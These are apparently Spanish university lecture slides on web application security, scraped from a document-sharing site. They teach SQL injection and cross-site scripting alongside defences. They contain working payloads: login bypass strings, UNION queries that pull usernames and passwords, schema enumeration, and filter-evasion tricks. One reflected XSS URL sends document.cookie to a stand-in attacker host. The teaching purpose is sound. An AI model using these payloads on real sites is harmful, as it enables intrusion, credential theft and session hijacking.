Upload
lamnga
View
239
Download
0
Embed Size (px)
Citation preview
Edited
with
em
acs
+LA
T EX
+pro
sper
Seguridad en Aplicaciones Web (II)
Computación Web (Curso 2013/2014)
Jesus Arias Fisteus // [email protected]
Seguridad en Aplicaciones Web (II)– p. 1
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques al almacenamiento de datos
Seguridad en Aplicaciones Web (II)– p. 2
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques al almacenamiento de datos
Principales ataques:
Bases de datos SQL (inyección de SQL).
Bases de datos XML.
Directorios LDAP.
Seguridad en Aplicaciones Web (II)– p. 3
Edited
with
em
acs
+LA
T EX
+pro
sper
Inyección de SQL
http://xkcd.com/327/
Seguridad en Aplicaciones Web (II)– p. 4
Edited
with
em
acs
+LA
T EX
+pro
sper
Esquivar la autenticación
La comilla simple es un carácter especial en SQL.
La secuencia “--” (comentario) invalida el restodel comando.
nombre = "juan’ -- ’"
String consulta = "SELECT nombre FROM Usuarios WHERE nombre=’" + nombre
+ "’ AND contrasena=’" + password + "’";
// Consulta realizada:
SELECT nombre FROM Usuarios WHERE nombre=’juan’ -- ’’ AND contrasena=’’
Seguridad en Aplicaciones Web (II)– p. 5
Edited
with
em
acs
+LA
T EX
+pro
sper
Esquivar la autenticación
Si no se conoce el nombre del usuario, se puedeobtener el primero.
En muchas aplicaciones el primer usuario es eladministrador, que cuenta con privilegiosespeciales.
nombre = "’ OR 1=1 -- ’"
String consulta = "SELECT nombre FROM Usuarios WHERE nombre=’" + nombre
+ "’ AND contrasena=’" + password + "’";
// Consulta realizada:
SELECT nombre FROM Usuarios WHERE nombre=’’ OR 1=1 -- ’’ AND contrasena=’’
Seguridad en Aplicaciones Web (II)– p. 6
Edited
with
em
acs
+LA
T EX
+pro
sper
Tipos de consultas
Cualquier tipo de consulta es vulnerable (SELECT,INSERT, UPDATE, etc.)
Se puede inyectar tanto en datos textuales comoen datos numéricos.
Seguridad en Aplicaciones Web (II)– p. 7
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques a consultas INSERT
En un campo se inyectan el resto de los valores:
contrasena = "passwd’, 10000000) -- ’"
String consulta = "INSERT INTO Usarios (nombre, contrasena, saldo) VALUES (’"
+ nombre + "’, ’" + contrasena + "’, " + saldo + ")";
// Consulta realizada:
INSERT INTO Usarios (nombre, contrasena, saldo)
VALUES (’nombre’, ’passwd’, 10000000) -- ’’, 0)
Seguridad en Aplicaciones Web (II)– p. 8
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques con UNION
El comando UNION permite combinar resultadosde dos consultas.
genero = "1 UNION SELECT usuario, contrasena, NULL FROM Usuarios -- "
String consulta = "SELECT titulo, autor, precio FROM Libros
WHERE genero=" + genero;
// Consulta realizada:
SELECT titulo, autor, precio FROM Libros
WHERE genero=1 UNION SELECT usuario, contrasena, NULL FROM Usuarios --
Seguridad en Aplicaciones Web (II)– p. 9
Edited
with
em
acs
+LA
T EX
+pro
sper
Nombres de tablas y columnas
Para realizar algunos tipos de ataques esnecesario conocer nombres de tablas y columnas.
A veces los nombres son predecibles.
En otras ocasiones, se pueden descubrir conconsultas inyectadas con UNION:
UNION SELECT TABLE_SCHEMA, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS
UNION SELECT TABLE_NAME, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA=’DemoSeguridad’
UNION SELECT COLUMN_NAME, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_SCHEMA=’DemoSeguridad’ AND TABLE_NAME=’Usuarios’
Seguridad en Aplicaciones Web (II)– p. 10
Edited
with
em
acs
+LA
T EX
+pro
sper
Inyección de segundo orden
Aun filtrando correctamente comillas (sustituciónde comilla simple por doble), futuras consultas sonvulnerables si se insertan en la base de datosvalores con comilla simple.
Las comillas no son necesarias en camposnuméricos.
El comentario se reemplaza por “or ’a’=’a”.
El bloqueo de palabras clave se puede esquivara veces:SeLeCt
SELSELECTECT
Si se filtran blancos, se puede insertarcomentarios “/* */”.
Seguridad en Aplicaciones Web (II)– p. 11
Edited
with
em
acs
+LA
T EX
+pro
sper
Defensa frente a estos ataques
Usar PreparedStatement o equivalente:
En todas las consultas, no sólo en las quetoman datos directamente del usuario.
Usar el nivel de privilegios más bajo posible.
Deshabilitar funciones innecesarias de las basesde datos.
Mantener el gestor de bases de datos siempreactualizado.
Seguridad en Aplicaciones Web (II)– p. 12
Edited
with
em
acs
+LA
T EX
+pro
sper
Otros ataques de inyección de código
Otros ataques similares por inyección de código:
Inyección en comandos del sistema operativo.
Inyección en lenguajes de scripting.
Inyección en JSON.
Inyección en XML.
Inyección en LDAP.
Inyección en correo electrónico.
Inyección en cabeceras de HTTP.
Seguridad en Aplicaciones Web (II)– p. 13
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques a usuarios
Existe un conjunto de técnicas cuyo objetivo esatacar a otros usuarios de una aplicación Web:
Cross-site scripting.
Inducción de acciones del usuario:On Site Request Forgery.Cross-Site Request Forgery.UI Redress
Captura de datos desde otros dominios.
Fijación de sesiones.
Redirección abierta.
Inyección de SQL en el cliente.
Ataques al navegador.
Seguridad en Aplicaciones Web (II)– p. 15
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting
Tres tipos principales de ataque:
Reflejado.
Almacenado.
Basado en DOM.
Seguridad en Aplicaciones Web (II)– p. 16
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting reflejado
Se produce cuando una aplicación muestradirectamente datos enviados como parámetros dela petición por el usuario.
Por ejemplo, páginas de error con mensajepasado como parámetro:http://example.com/Error?message=Sorry%2c+an+error+occurred
El cliente puede inyectar código Javascript que seejecutará en el navegador.http://example.com/Error?message=<script>var+i=new+Image;
+i.src=“http://mdattacker.net/”%2bdocument.cookie;</script>
Los enlaces se pueden disimular con codificaciónURL.
Seguridad en Aplicaciones Web (II)– p. 17
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting reflejado
Seguridad en Aplicaciones Web (II)– p. 18
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting reflejado
Envío del enlace malicioso al usuario:
Por correo electrónico.
En mensajería instantánea.
Desde un sitio Web de terceros o del atacante.
Mediante redes de publicidad.
Mediante acciones enviar a un amigo oinformar al administrador en el sitio Webatacado.
Seguridad en Aplicaciones Web (II)– p. 19
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting almacenado
El atacante introduce texto en la base de datos delsitio Web que posteriormente se muestra a otrosusuarios.
El atacante puede inyectar código Javascript endicho texto, que se ejecutará en el navegador deotros usuarios del sistema, incluso deadministradores.
Más peligroso que el reflejado, porque el atacadoestá autenticado y no es necesario inducirlo aactivar ningún enlace.
Seguridad en Aplicaciones Web (II)– p. 20
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting almacenado
Seguridad en Aplicaciones Web (II)– p. 21
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting basado en DOM
El servidor no transmite los datos del usuario devuelta, pero en la página hay código Javascriptque los toma de la URL pedida y los muestra condocument.write().
Ataque similar en parte a cross-site scriptingreflejado.
Seguridad en Aplicaciones Web (II)– p. 22
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting
Posibles acciones de ataque:
Pintadas virtuales (defacement).
Inyección de troyanos y phishing.
Inducción de acciones por el usuario.
Aprovechar privilegios: captura de texto de lafunción autocompletar, aplicaciones conrestricciones de seguridad reducidas, usofraudulento de controles ActiveX.
Escalado del ataque en el lado del cliente:captura de teclado, historial de navegación,escaneo de puertos en la red local del usuario,etc.
Seguridad en Aplicaciones Web (II)– p. 23
Edited
with
em
acs
+LA
T EX
+pro
sper
Prevención de cross-site scripting
Validar la entrada del usuario:
Restricciones de longitud, conjunto decaracteres, expresiones regulares.
Validar la salida:
Reemplazo de caracteres reservados de HTMLpor referencias a entidades.
Eliminar puntos peligrosos de inserción (códigoJavascript, cabeceras de HTTP, atributos deelementos HTML).
Donde el usuario pueda editar HTML, limitar lasmarcas que pueda utilizar o utilizar lenguajesde marcas alternativos.
Seguridad en Aplicaciones Web (II)– p. 24
Edited
with
em
acs
+LA
T EX
+pro
sper
Referencias
Dafydd Stuttard, Marcus Pinto. The WebApplication Hacker’s Handbook. 2nd ed. JohnWiley & Sons
Acceso en Safari
Capítulos 9 y 12.
Seguridad en Aplicaciones Web (II)– p. 25